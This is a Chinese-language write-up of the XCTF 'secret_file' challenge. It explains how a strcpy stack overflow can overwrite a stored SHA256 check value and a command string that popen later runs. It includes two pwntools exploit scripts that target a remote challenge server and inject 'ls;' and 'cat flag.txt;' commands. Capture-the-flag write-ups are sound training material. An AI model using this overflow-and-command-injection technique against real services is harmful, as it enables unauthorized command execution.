XCTF-secret_file-WP
这道题目我觉得应该算是逆向的题目,其实是一个简单的栈溢出,但是程序的逻辑不是很好懂,所以我也没有自己做出来,还是有些遗憾的。

第一个框中的getline,对于指向0的指针,会自动malloc一个空间并且让lineptr指向这个空间。而且getline是读到'\n'为止的。
第二个框中的strcpy,让我们有了栈溢出的机会。
第个框是一个sha256生成函数

在a2中存了a1指向的,以a3为长度的字符串的SHA256值。在主调函数的视角里就是在v16开始的这段空间里面存了从dest开始的长为0x100的字符串的SHA256值。
而在此之后的循环了

将v16开始的(这里把v16传值给了v4,让v4指向同一个地址,对v5也进行了同样的操作,v5指向的是v17指向的地址)的SHA256值转为十六进制存在了从v17开始的地址空间里。

这里对v15开始的一段地址空间和v17开始的一段地址空间进行了比较,在相同时就可以通过popen执行v14中存的指令,并会执行后的输出存在v9中,并输出。
所以我们先输入0x100个字符,并算出其SHA256值,转为十六进制,覆盖v15这段空间,并覆盖v14这段指令字符串,通过popen执行就可以拿flag了。
from pwn import *
from hashlib import *
context(log_level = 'debug')
sh = remote("220.249.52.133","45738")
payload = 'a'*0x100 + 'ls;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest()
sh.sendline(payload)
sh.interactive()
先通过这个exp看一下服务器上有什么。

然后就可以拿flag了。
from pwn import *
from hashlib import *
context(log_level = 'debug')
sh = remote("220.249.52.133","45738")
payload = 'a'*0x100 + 'cat flag.txt;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest()
sh.sendline(payload)
sh.interactive()
这道题暴露了我不仔细分析程序就放弃的问题,应当在做题时更耐心一点。